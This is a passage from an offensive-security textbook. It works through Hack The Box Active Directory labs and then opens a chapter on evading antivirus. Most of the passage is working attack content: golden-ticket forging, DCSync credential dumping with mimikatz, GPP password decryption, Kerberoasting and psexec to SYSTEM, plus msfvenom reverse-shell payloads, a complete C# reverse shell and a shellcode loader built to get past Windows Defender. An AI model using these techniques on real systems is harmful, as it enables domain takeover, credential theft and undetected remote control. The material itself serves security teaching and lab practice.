15 LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},
16 CN=Policies,CN=System,DC=htb,DC=local}
17 LostAndFoundContainer : CN=LostAndFound,DC=htb,DC=local
18 ManagedBy :
19 Name : htb
hide01.ir
20 NetBIOSName : HTB
21 ObjectClass : domainDNS
22 ObjectGUID : dff0c71a-a949-4b26-8c7b-52e3e2cb6eab
23 ParentDomain :
24 PDCEmulator : FOREST.htb.local
25 PublicKeyRequiredPasswordRolling : True
26 QuotasContainer : CN=NTDS Quotas,DC=htb,DC=local
27 ReadOnlyReplicaDirectoryServers : {}
28 ReplicaDirectoryServers : {FOREST.htb.local}
29 RIDMaster : FOREST.htb.local
30 SubordinateReferences : {DC=ForestDnsZones,DC=htb,DC=local,
31 DC=DomainDnsZones,DC=htb,DC=local, CN=Configuration,DC=htb,DC=local}
32 SystemsContainer : CN=System,DC=htb,DC=local
33 UsersContainer : CN=Users,DC=htb,DC=local

With that, we can create a TGT for the user administrator (it can be any valid user or servie
account) using ticketer.py as follows:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Forest]
2 └──╼ $ticketer.py -domain-sid S-1-5-21-3072663084-364016917-1341370565 \
3 -nthash 819af826bb148e603acb0f33d17632f8 -domain htb.local administrator
4 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
5 SecureAuth Corporation
6 [*] Creating basic skeleton ticket and PAC Infos
7 [*] Customizing ticket for htb.local/administrator
8 [*] PAC_LOGON_INFO
9 [*] PAC_CLIENT_INFO_TYPE
10 [*] EncTicketPart
11 [*] EncAsRepPart
12 [*] Signing/Encrypting final ticket
13 [*] PAC_SERVER_CHECKSUM
14 [*] PAC_PRIVSVR_CHECKSUM
15 [*] EncTicketPart
16 [*] EncASRepPart
17 [*] Saving ticket in administrator.ccache

We then set the environment variable KRB5CCNAME to the administrator.ccache file and
use wmiexec.py to remote onto the box:

1 ┌─[rin@parrot]─[~/boxes/Forest]
2
hide01.ir
└──╼ $export KRB5CCNAME=administrator.ccache
3 ┌─[rin@parrot]─[~/boxes/Forest]
4 └──╼ $wmiexec.py htb.local/[email protected] -k -no-pass
5 Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
6 SecureAuth Corporation
7 [*] SMBv3.0 dialect used
8 [!] Launching semi-interactive shell - Careful what you execute
9 [!] Press help for extra shell commands
10 C:\>whoami
11 htb.local\administrator
12 C:\>

Although we used secretsdump.py, an alternative would have been to use mimikatz to do


the same thing. Uploading mimikatz.exe to the machine as rin and then running:

1 > .\mimikatz.exe "lsadump::dcsync /domain:htb.local /user:administrator" e


2 .#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
3 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
4 ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
5 ## \ / ## > http://blog.gentilkiwi.com/mimikatz
6 '## v ##' Vincent LE TOUX ( [email protected] )
7 '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
8 mimikatz(commandline) # lsadump::dcsync /domain:htb.local /user:administra
9 [DC] 'htb.local' will be the domain
10 [DC] 'FOREST.htb.local' will be the DC server
11 [DC] 'administrator' will be the user account
12 Object RDN : Administrator
13 ** SAM ACCOUNT **
14 SAM Username : Administrator
15 User Principal Name : [email protected]
16 Account Type : 30000000 ( USER_OBJECT )
17 User Account Control : 00000200 ( NORMAL_ACCOUNT )
18 Account expiration :
19 Password last change : 9/18/2019 9:09:08 AM
20 Object Security ID : S-1-5-21-3072663084-364016917-1341370565-500
21 Object Relative ID : 500
22 Credentials:
23 Hash NTLM: 32693b11e6aa90eb43d32c72a07ceea6
24 mimikatz(commandline) # exit
25
hide01.ir
Exercise: Enumerating and exploiting AD on
Active
We will have a look at another Active Directory case study. Active involves enumeration of
SMB and getting a password from a Group Policy Preferences file Groups.xml. With this, we
can enumerate users in Active Directory and using Bloodhound again, identify a user that is
Kerberoastable. With that, we get an administrative access on the box.

Running nmap, we find a likely domain controller running Windows Server 2008 R2 SP1.

1 PORT STATE SERVICE VERSION


2 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008
3 | dns-nsid:
4 |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
5 88/tcp open kerberos-sec Microsoft Windows Kerberos
6 (server time: 2021-01-14 02:58:30Z)
7 135/tcp open msrpc Microsoft Windows RPC
8 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
9 389/tcp open ldap Microsoft Windows Active Directory LDAP
10 (Domain: active.htb, Site: Default-First-Site-Name)
11 445/tcp open microsoft-ds?
12 464/tcp open kpasswd5?
13 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
14 636/tcp open tcpwrapped
15 3268/tcp open ldap Microsoft Windows Active Directory LDAP
16 (Domain: active.htb, Site: Default-First-Site-Name)
17 3269/tcp open tcpwrapped
18 5607/tcp filtered unknown
19 5722/tcp open msrpc Microsoft Windows RPC
20 9389/tcp open mc-nmf .NET Message Framing
21 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
22 |_http-server-header: Microsoft-HTTPAPI/2.0
23 |_http-title: Not Found
24 49152/tcp open msrpc Microsoft Windows RPC
25 49153/tcp open msrpc Microsoft Windows RPC
26 49154/tcp open msrpc Microsoft Windows RPC
27 49155/tcp open msrpc Microsoft Windows RPC
28 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
29 49158/tcp open msrpc Microsoft Windows RPC
30 49162/tcp open msrpc Microsoft Windows RPC
31 49166/tcp open msrpc Microsoft Windows RPC
32 49168/tcp open msrpc Microsoft Windows RPC
33 Service Info: Host: DC; OS: Windows;
34
hide01.ir
CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:win
35 Host script results:
36 |_clock-skew: 2m44s
37 | smb2-security-mode:
38 | 2.02:
39 |_ Message signing enabled and required
40 | smb2-time:
41 | date: 2021-01-14T02:59:29
42 |_ start_date: 2021-01-14T02:21:56

Running smbmap to explore SMB, we get the following shares:

1 ┌─[oztechmuse@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb
3 [+] IP: active.htb:445 Name: unknown
4 Disk Permissions Comment
5 ---- ----------- -------
6 ADMIN$ NO ACCESS Remote Admin
7 C$ NO ACCESS Default share
8 IPC$ NO ACCESS Remote IPC
9 NETLOGON NO ACCESS Logon server share
10 Replication READ ONLY
11 SYSVOL NO ACCESS Logon server share
12 Users NO ACCESS

We can use smbmap to recursively list all directories and files using the -R flag. We can do
this on the Replication share.

1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb -R Replication --depth 10
3 [+] IP: active.htb:445 Name: unknown
4 Disk Permissions Comment
5 ---- ----------- -------
6 Replication READ ONLY
7 .\Replication\*
8 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 .
9 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 ..
10 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 active.htb
11 <NSNIP>
12 .\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
13 \MACHINE\Preferences\Groups\*
14 dr--r--r-- 0 Sat Jul 21 18:37:44 2018 .
15
hide01.ir
dr--r--r-- 0 Sat Jul 21 18:37:44 2018 ..
16 fr--r--r-- 533 Sat Jul 21 18:38:11 2018 Groups.xml
17 <SNIP>

The interesting file here is Groups.xml which is a file that stores Group Policy Preferences
which we can retrieve with smbmap:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb \
3 --download 'Replication\active.htb\Policies\
4 {31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.x
5 [+] Starting download: Replication\active.htb\Policies\
6 {31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.x
7 (533 bytes)
8 [+] File output: <SNIP>

Before we go on, we should talk about Group Policy in an Active Directory environment.
Group Policy is a management technology that allows centralized control over user and
computer security settings. A Group Policy Object is a logical container that consists of a
Group Policy container and a Group Policy template. Templates are stored on the System
Volume (SYSVOL) of each domain controller. Containers are stored in the domain partition
of Active Directory. In terms of synchronizing Group Policy Objects to other domain
controllers, Active Directory replication is responsible for replicating the containers and File
Replication Services (FRS) or Distributed File System Replication (DFSR) is responsible for
replicating the SYSVOL.

Group policy is applied to computers and users by the Group Policy client-side extensions.
Group Policy Preferences are client side preferences that are saved for a user and as such
are extensions of Group Policy. They determine things like environment variables, drive
mappings, folder settings, configured printers, start menu, etc. Passwords used to be able to
be stored in Group Policy Preference files and these were encrypted using a key that has
subsequently become widely available after Microsoft publicly disclosed it
(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-
f086-4c74-8b70-1f2fa45dd4be).

Looking at the Groups.xml file, we see


hide01.ir
1 <?xml version="1.0" encoding="utf-8"?>
2 <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
3 <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
4 name="active.htb\SVC_TGS" image="2"
5 changed="2018-07-18 20:46:06"
6 uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
7 <Properties action="U" newName="" fullName=""
8 description=""
9 cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+
10 ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
11 changeLogon="0" noChange="1" neverExpires="1"
12 acctDisabled="0" userName="active.htb\SVC_TGS"/>
13 </User>
14 </Groups>

The file contains a password hash (cpassword) for the user SVC_TGS. You can decrypt this
using a utility gpp-decrypt.py (https://github.com/t0thkr1s/gpp-decrypt/blob/master/gpp-
decrypt.py) or by using cryptii.com as shown below.

Graphical user interface, application, Teams

Description automatically generated

Decrypting the cpasssword from Groups.xml. The text is base64 decoded and then
decrypted using AES-256 using the published key.

This gives us the password for svc_tgs of GPPstillStandingStrong2k18 (a commentary on


the vulnerability that still existed in 2018). We now have read access to the Users directory
and can get the user flag in c:\Users\SVC_TGS\Desktop\users.txt by using smbclient.
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $smbmap -H active.htb -u 'svc_tgs' -p GPPstillStandingStrong2k18
3 [+] IP: active.htb:445 Name: unknown
4 Disk Permissions Comment
5 ---- ----------- -------
6 ADMIN$ NO ACCESS Remote Admin
7 C$ NO ACCESS Default share
8 IPC$ NO ACCESS Remote IPC
9 NETLOGON READ ONLY Logon server share
10 Replication READ ONLY
11 SYSVOL READ ONLY Logon server share
12 Users READ ONLY
13 ┌─[✗]─[rin@parrot]─[~/boxes/Active]
14 └──╼ $smbclient -U 'svc_tgs' //active.htb/users
15 Enter WORKGROUP\svc_tgs's password:
16 Try "help" to get a list of possible commands.
17 smb: \> dir
18 . DR 0 Sat Jul 21 22:39:20 2018
19 .. DR 0 Sat Jul 21 22:39:20 2018
20 Administrator D 0 Mon Jul 16 18:14:21 2018
21 All Users DHSrn 0 Tue Jul 14 13:06:44 2009
22 Default DHR 0 Tue Jul 14 14:38:21 2009
23 Default User DHSrn 0 Tue Jul 14 13:06:44 2009
24 desktop.ini AHS 174 Tue Jul 14 12:57:55 2009
25 Public DR 0 Tue Jul 14 12:57:55 2009
26 SVC_TGS D 0 Sat Jul 21 23:16:32 2018
27 10459647 blocks of size 4096. 4925485 blocks available
28 smb: \>

We can see from the home directories that there are likely at least 2 users: SVC_TGS and
Administrator. We can enumerate the AD users using ldapsearch:

1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $ldapsearch -h active.htb -x -D 'SVC_TGS' -w 'GPPstillStandingStrong2
3 -b "dc=active,dc=htb" "(&(objectClass=user)(!(objectClass=computer)))" \
4 samaccountname | grep -i samaccountname
5 # requesting: samaccountname
6 sAMAccountName: Administrator
7 sAMAccountName: Guest
8 sAMAccountName: krbtgt
9 sAMAccountName: SVC_TGS
10 and GetADUsers.py
11 ┌─[rin@parrot]─[~/boxes/Active]
12 └──╼ $GetADUsers.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -all
13 Impacket - Copyright 2020 SecureAuth Corporation
14
hide01.ir
[*] Querying active.htb for information about domain.
15 Name Email PasswordLastSet LastLogon
16 -------------------- ---------------- ------------------- -------------
17 Administrator 2018-07-19 03:06:40.351723 2018-07-31 01:17:40.656520
18 Guest <never> <never>
19 krbtgt 2018-07-19 02:50:36.972031 <never>
20 SVC_TGS 2018-07-19 04:14:38.402764 2018-07-21 22:01:30.320277

Both of these approaches show that we have the three manin users we are interested in
SVC_TGS, Administrator and krbtgt, the Kerberos user. We can again explore AD using
BloodHound. This time, we will do it from Windows. The instructions for installation on
Windows are on the BloodHound documents site
(https://bloodhound.readthedocs.io/en/latest/installation/windows.html). To collect the
data, we will use SharpHound.exe and we can run that from a command prompt that has
authenticated with the domain. We can add active.htb as a hosts entry in the hosts file at
c:\Windows\System32\drivers\etc\hosts.

From a command prompt, run a cmd.exe using the command:

C:\> runas /netonly /user:active.htb\svc_tgs cmd.exe

Enter the password for the user when prompted. This will open a separate window with the
title saying that cmd,exe (running as active.htb\svc_tgs). You can verify that this is running
correctly by listing the Users directory. If all has worke correctly, you will not be prompted for
a username or password:

1 c:\Users\rin\boxes\Active>dir \\10.129.81.55\Users
2 Volume in drive \\10.129.81.55\Users has no label.
3 Volume Serial Number is 2AF3-72E4
4 Directory of \\10.129.81.55\Users
5 07/21/2018 10:39 PM <DIR> .
6 07/21/2018 10:39 PM <DIR> ..
7 07/16/2018 06:14 PM <DIR> Administrator
8 07/14/2009 12:57 PM <DIR> Public
9 07/21/2018 11:16 PM <DIR> SVC_TGS
10 0 File(s) 0 bytes
11 5 Dir(s) 20,165,267,456 bytes free
hide01.ir
From this cmd prompt, we can run SharpHound to get a set of JSON files that are in a ZIP
file.

1 c:\Users\rin\boxes\Active>.\SharpHound.exe -d active.htb
2 -----------------------------------------------
3 Initializing SharpHound at 2:03 PM on 1/14/2021
4 -----------------------------------------------
5 Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps,
6 LocalGroups, SPNTargets, Container
7 [+] Creating Schema map for domain ACTIVE.HTB using path CN=Schema,
8 CN=Configuration,DC=ACTIVE,DC=HTB
9 [+] Cache File not Found: 0 Objects in cache
10 [+] Pre-populating Domain Controller SIDS
11 Status: 0 objects finished (+0) -- Using 19 MB RAM
12 Status: 46 objects finished (+46 7.666667)/s -- Using 26 MB RAM
13 Enumeration finished in 00:00:06.5475076
14 Compressing data to .\20210114140331_BloodHound.zip
15 You can upload this file directly to the UI
16 SharpHound Enumeration Completed at 2:03 PM on 1/14/2021! Happy Graphing!

Once this is done, we can launch BloodHound, upload the zip file and then run queries to
explore the domain. If we run the query, List all Kerberoastable Accounts, we find that
Administrator is kerberoastable. This means that the account has an associated SPN
(Service Principle Name).
hide01.ir

Kerberoastable users in the Active.htb domain

Another way of doing this is to run the Impacket tool GetUserSPNs. This will do an LDAP
query to retrieve the SPNs for any active user accounts and once it has obtained them, will
request a service ticket from the TGS for the SPN.

1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $GetUserSPNs.py -request active.htb/svc_tgs:GPPstillStandingStrong2k1
3 Impacket - Copyright 2020 SecureAuth Corporation
4 ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
5 -------------------- ------------- ---------------------------------------
6 active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,
7 DC=active,DC=htb 2018-07-19 03:06:40.351723 2018-07-31 01:17:40.656520
8 $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$747cecdf77
9 43de5898565b46b052f$ee66d6d688a824efdbe603c6e72bd82ff38da9a38e0c8defde5ce8
10 1a5a8b71848dcc637f9b8e860801f5e3e361fb79e4abb97e250c94aaeb3482f93b3cef6f33
11
hide01.ir
587f9d6136fc3eeb2a6c44349071e9be126065dee4f57474597fc6aa08d98ea0b3a31cc9bb
12 ...<SNIP>

As Administrator had an SPN which was "active/CIFS:445" we got a service ticket that we
can now try and crack with John The Ripper:

1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3 Using default input encoding: UTF-8
4 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4
5 Will run 2 OpenMP threads
6 Press 'q' or Ctrl-C to abort, almost any other key for status
7 Ticketmaster1968 (?)

That gives us a password Ticketmaster1968 which we can use with psexec.py to get
remote command shell on the box.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Active]
2 └──╼ $psexec.py active.htb/Administrator:[email protected]
3 Impacket - Copyright 2020 SecureAuth Corporation
4 [*] Requesting shares on 10.129.26.7.....
5 [*] Found writable share ADMIN$
6 [*] Uploading file mDNtlaXF.exe
7 [*] Opening SVCManager on 10.129.26.7.....
8 [*] Creating service MkZv on 10.129.26.7.....
9 [*] Starting service MkZv.....
10 [!] Press help for extra shell commands
11 Microsoft Windows [Version 6.1.7601]
12 Copyright (c) 2009 Microsoft Corporation. All rights reserved.
13 C:\Windows\system32>whoami
14 nt authority\system

You can find users with SPNs using an ldapsearch:

1 ┌─[rin@parrot]─[~/boxes/Active]
2 └──╼ $ldapsearch -h active.htb -x -D 'SVC_TGS' -w 'GPPstillStandingStrong2
3 -b "dc=active,dc=htb" \
4
hide01.ir
"(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512
5 (!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=compute
6 sAMAccountName ServicePrincipalName | \
7 grep 'sAMAccountName:\|servicePrincipalName:'
8 sAMAccountName: Administrator
9 servicePrincipalName: active/CIFS:445

The interesting thing about the query is the use of the userAccountControl attribute which is
a bit mask that has multiple values (http://www.selfadsi.org/ads-attributes/user-
userAccountControl.htm). In this case, the query is checking that the account is not
disabled (2) and that it is a normal account (512). The userAccountControl attribute can
also be queried to check whether the account does not require preauth (4194304).
hide01.ir
Final Thoughts
We have covered a reasonable amount of content on Active Directory and potential ways of
enumerating it and exploiting vulnerabilities. Necessarily, there is a lot we haven't covered,
including Azure Active Directory, Microsoft's cloud based version of AD which does differ
from the on-premises version. AD is built on standards however and so the techniques of
exploring LDAP are applicable to other implementations of LDAP such as OpenLDAP and
to Kerberos implementations built on other platforms.
hide01.ir

Chapter 10 Defense Evasion


hide01.ir
Defense Evasion
Operating system defenses and cybersecurity defense products have become more
sophisticated in order to mitigate inevitable vulnerabilities in users and software. These
defenses contribute to the approach of defense in depth and present barriers that ethical
hackers need to overcome in order to achieve their goals of access to systems and
information. This chapter will examine the range of defenses commonly employed on
networks and end-points and look at different approaches to evading these defenses.

Cybersecurity defenses

It is the recognition that software and people will always be vulnerable to attack by threat
actors that has led to the growth of products that mitigate these risks. This started with
firewalls which regulate traffic into and out of a network. Firewalls operated in a largely
static way with a set of rules based on source and destination addresses but grew to
include dynamic and deep inspection of network packet contents. Firewalls were developed
to monitor and protect applications, especially web applications where they are known as
Web Application Firewalls (WAFs). WAFs inspect HTTP requests and look for potential
attacks such as brute forcing, database injection attacks or file inclusion requests.

Endpoint security started with anti-virus software that again consisted of a static list of file
signatures belonging to blacklisted and whitelisted software. This has evolved dramatically
to now using dynamic behavior and process inspection to be able to stop malware that has
never been seen before. Operating systems have become more secure by implementing
controls over file access and implementing the principle of least privileges. It is now no
longer the case that the principal user of a computer has permanent administrator rights by
default for example. All of these controls implement the approach of defense in depth in an
attempt to stop bad actors from compromising the security of the system.

At the enterprise level, organizations employ cybersecurity operations staff to monitor


networks and systems and they employ tools like intrusion protection and detection
systems (ID/PS), SIEMs (Security Information and Event Management) to monitor events
of all kinds and other tools.
hide01.ir
The principle of defense in depth works on the assumption that layers may be breached but
that at each layer, the attacker will be slowed down and potentially reveal themselves
through constant monitoring.

On the flipside, attackers have been developing tools and approaches to circumvent these
defenses and this is going to be the focus of this chapter. Initially this is about getting
around restrictions imposed by AV software and Firewalls, but it is also important to not
leave evidence that could be picked up either during an attack or after as part of a forensic
examination of the machines and networks. This means using stealth whilst running
programs and commands. For example, instead of running a reverse shell openly, migrating
it into a process through process injection, so that it won't draw attention to anyone looking
at running processes. Covering tracks by deleting command histories, events that might be
generated in logs and using stealth when transmitting data.

AV Evasion

Although a full discussion of malware detection techniques is beyond the scope of this
book, the general principle of malware detection is to identify a file as malware from a
database of known examples of malware. This is done using signature or static analysis
using a number of attributes of a file including its hash, strings it contains, libraries and
functions that it calls, and even assembly code. Windows Defender and other Windows AV
products use the Antimalware Scan Interface (AMSI) to scan files (executables and scripts)
and detect potential malware. You will sometimes see evasion referred to as AMSI-bypass.
When performing evasion, you can see how well something will work against a range of AV
products by uploading the file to VirusTotal (https://www.virustotal.com/gui/) and this will
run it against around 70 different products.

AV products can also monitor behavior of processes and detect malicious activity. This
behavioral analysis sometimes employs machine learning that is trained on data from
normal processes and the network traffic they create and then comparing any new process
with that baseline.

Suspicious files can be executed in an AV sandbox to see how they behave without putting
the host system at risk.
hide01.ir
A problem that all AV products face is that of false positives and this is why they cannot be
too aggressive in their detection of malware for risk of not stopping a legitimate product
from running.

Evasion of shell code usually involves either encoding the code, encrypting it, or modifying
the execution flow. Modification of code execution can include AV detection and shutting
down in the case the malware is being run in a sandbox or debugger of any type.

Msfvenom can be used to encode a payload using a variety of encoders that can be listed
with the --list encoders command:

1 ┌─[✗]─[rin@parrot]─[~/book]
2 └──╼ $msfvenom --list encoders
3 Framework Encoders [--encoder <value>]
4 ======================================
5 Name Rank Description
6 ---- ---- -----------
7 cmd/brace low Bash Brace Expansion Command Encoder
8 cmd/echo good Echo Command Encoder
9 cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
10 cmd/ifs low Bourne ${IFS} Substitution Command Encoder
11 cmd/perl normal Perl Command Encoder
12 cmd/powershell_base64 excellent Powershell Base64 Command Encoder
13 cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command E
14 generic/eicar manual The EICAR Encoder
15 generic/none normal The "none" Encoder
16 mipsbe/byte_xori normal Byte XORi Encoder
17 mipsbe/longxor normal XOR Encoder
18 mipsle/byte_xori normal Byte XORi Encoder
19 mipsle/longxor normal XOR Encoder
20 php/base64 great PHP Base64 Encoder
21 ppc/longxor normal PPC LongXOR Encoder
22 ppc/longxor_tag normal PPC LongXOR Encoder
23 ruby/base64 great Ruby Base64 Encoder
24 sparc/longxor_tag normal SPARC DWORD XOR Encoder
25 x64/xor normal XOR Encoder
26 x64/xor_context normal Hostname-based Context Keyed Payload Encoder
27 x64/xor_dynamic normal Dynamic key XOR Encoder
28 x64/zutto_dekiru manual Zutto Dekiru
29 x86/add_sub manual Add/Sub Encoder
30 x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
31 x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
32 x86/avoid_underscore_tolower manual Avoid underscore/tolower
33 x86/avoid_utf8_tolower manual Avoid UTF8/tolower
34 x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
35
hide01.ir
x86/bmp_polyglot manual BMP Polyglot
36 x86/call4_dword_xor normal Call+4 Dword XOR Encoder
37 x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
38 x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
39 x86/context_time manual time(2)-based Context Keyed Payload Encoder
40 x86/countdown normal Single-byte XOR Countdown Encoder
41 x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
42 x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
43 x86/nonalpha low Non-Alpha Encoder
44 x86/nonupper low Non-Upper Encoder
45 x86/opt_sub manual Sub Encoder (optimised)
46 x86/service manual Register Service
47 x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
48 x86/single_static_bit manual Single Static Bit
49 x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
50 x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
51 x86/xor_dynamic normal Dynamic key XOR Encoder

One of the best known of these is the encoder called "Shikata Ga Nai". Technically, the
encoder uses a process of using exclusive or of data with a key and then using that data to
encode the next and so on (referred to as a Polymorphic XOR Additive Feedback Encoder).
In practice, it randomizes instruction order, inserts junk code, randomizes spacing between
instructions and moves blocks of code around. The end result is that every encoding will be
different. We can see this by doing two encodings of the same payload and then
comparing the md5sum of each:

1 ┌─[rin@parrot]─[~/book]
2 └──╼ $msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp \
3 LHOST=192.169.0.36 LPORT=80 -b "\x00" -e x86/shikata_ga_nai -f exe -o pass
4 Found 1 compatible encoders
5 Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
6 x86/shikata_ga_nai succeeded with size 381 (iteration=0)
7 x86/shikata_ga_nai chosen with final size 381
8 Payload size: 381 bytes
9 Final size of exe file: 73802 bytes
10 Saved as: pass2.exe
11 ┌─[rin@parrot]─[~/book]
12 └──╼ $md5sum pass1.exe
13 5a5deacc6e19f2b2256ce864ca071df3 pass1.exe
14 ┌─[rin@parrot]─[~/book]
15 └──╼ $md5sum pass2.exe
16 5b3a3360ffd602140a403e72128188b7 pass2.exe
hide01.ir
An added advantage of Shikata Ga Nai encoding is that it can be used to avoid bytes such
as null bytes and carriage return or linefeed that might interfere with the transmission and
execution of the shellcode.

Unfortunately, if the results of this are uploaded to VirusTotal, 52 of 70 of the AVs detect it
as malware. Increasing the number of iterations of the encoding doesn't improve the
situation with 53 of the AVs detecting it as malware. Microsoft Defender even correctly
identifies it as a Metasploit executable.

Output from VirusTotal for the reverse shell encoded with Shikata Ga Nai

There are a number of different approaches that can be taken to try and improve the
evasion. The simplest and most successful is to use a simple C++ or csharp program to do
hide01.ir
the reverse shell and build it yourself. Taking as an example this
(https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) C#
program

1 using System;
2 using System.Text;
3 using System.IO;
4 using System.Diagnostics;
5 using System.ComponentModel;
6 using System.Linq;
7 using System.Net;
8 using System.Net.Sockets;
9 namespace ConnectBack {
10 public class Program {
11 static StreamWriter streamWriter;
12 public static void Main(string[] args) {
13 using(TcpClient client = new TcpClient("10.0.2.15", 443)) {
14 using(Stream stream = client.GetStream()) {
15 using(StreamReader rdr = new StreamReader(stream)) {
16 streamWriter = new StreamWriter(stream);
17 StringBuilder strInput = new StringBuilder();
18 Process p = new Process();
19 p.StartInfo.FileName = "cmd.exe";
20 p.StartInfo.CreateNoWindow = true;
21 p.StartInfo.UseShellExecute = false;
22 p.StartInfo.RedirectStandardOutput = true;
23 p.StartInfo.RedirectStandardInput = true;
24 p.StartInfo.RedirectStandardError = true;
25 p.OutputDataReceived +=
26 new DataReceivedEventHandler(CmdOutputDataHandler);
27 p.Start();
28 p.BeginOutputReadLine();
29 while(true) {
30 strInput.Append(rdr.ReadLine());
31 p.StandardInput.WriteLine(strInput);
32 strInput.Remove(0, strInput.Length);
33 }
34 }
35 }
36 }
37 }
38 private static void CmdOutputDataHandler(object sendingProcess,
39 DataReceivedEventArgs outLine
40 StringBuilder strOutput = new StringBuilder();
41 if (!String.IsNullOrEmpty(outLine.Data)) {
42 try {
43 strOutput.Append(outLine.Data);
44 streamWriter.WriteLine(strOutput);
45
hide01.ir
streamWriter.Flush();
46 } catch (Exception err) { }
47 }
48 }
49 }
50 }

When run against VirusTotal, it is detected as malicious by only 10 of 60 engines,


importantly, Windows Defender being one that doesn't pick it up.

Other techniques such as encrypting payloads and decrypting before running also may
evade a specific AV but they are getting better at detecting these techniques as well. To do
this, we can use msfvenom to generate a payload:

1 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.2 LPORT=4445 \


2 -f csharp -o payload.txt

To encrypt I have used an example that is on GitHub


(https://github.com/cribdragg3r/Simple-Loader). This uses AES to encrypt the byte stream
read from the payload.txt file and then generate Base64 output. This output then can be
copy pasted into the program and when run without arguments, it will decrypt and copy the
output into memory created using a VirtualAlloc call. This memory is then used as an
argument to CreateThread which executes it:

1 public static bool nonsense(byte[] shellcode) {


2 try {
3 UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
4 MEM_COMMIT, PAGE_EXECUTE_READWRITE);
5 Marshal.Copy(shellcode, 0,
6 (IntPtr)(funcAddr), shellcode.Length
7 IntPtr hThread = IntPtr.Zero;
8 UInt32 threadId = 0;
9 IntPtr pinfo = IntPtr.Zero;
10 hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
11 WaitForSingleObject(hThread, 0xFFFFFFFF);
12 return true;
13 } catch (Exception e) {
14 Console.Error.WriteLine("exception: " + e.Message);
15 return false;
16 }
hide01.ir
17 }

As mentioned previously however, this actually gets picked up by 24 out of 70 AV products


on VirusTotal, including Windows Defender.

Encoding PowerShell

PowerShell not only has AMSI that can block its execution, but there is also an execution
policy that can restrict what can be run. Strictly speaking, the execution policy applied to
PowerShell was meant to avoid users doing things they weren't aware of and so there are
ways to get around it. If you find that a PowerShell script will not execute, then some of the
techniques will apply to AMSI as well as bypassing the execution policy restrictions.

First of all, the execution policies that can be applied to PowerShell are:

Restricted: No script, either local, remote, or downloaded can be executed


AllSigned: All scripts need to be digitally signed
RemoteSigned: All remote scripts or downloaded scripts need to be signed
Unrestricted: All scripts can be run without signatures

You can see what the current execution policy is for a user showing all of the different
scopes by using the command:

